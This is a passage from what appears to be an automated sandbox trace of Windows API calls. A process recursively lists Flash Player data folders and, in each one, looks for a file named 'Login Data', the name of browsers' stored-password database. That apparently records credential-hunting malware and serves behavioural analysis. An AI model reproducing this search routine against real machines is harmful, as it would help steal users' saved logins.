dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.464] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.464] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.464] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0199.464] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 0 [0199.465] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.465] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.465] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.465] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.465] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0199.465] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 0 [0199.465] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.466] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.466] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0199.466] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.467] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 1 [0199.467] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 0 [0199.467] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0199.467] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.467] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.468] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.468] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpc.swf", cAlternateFileName="")) returned 1 [0199.468] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpc.swf", cAlternateFileName="")) returned 0 [0199.468] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.468] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.469] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.470] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.470] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="session.sol", cAlternateFileName="")) returned 1 [0199.470] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="session.sol", cAlternateFileName="")) returned 0 [0199.470] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.470] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.470] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0199.471] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.471] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0199.471] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0199.471] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0199.471] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.471] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0199.471] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.471] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0199.472] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0199.472] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0199.472] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.472] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.472] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.472] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 1 [0199.472] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0 [0199.472] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0199.473] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.473] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0199.473] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.473] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#aa.online-metrix.net", cAlternateFileName="#AAONL~1.NET")) returned 1 [0199.473] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0199.473] FindNextFileW (in: 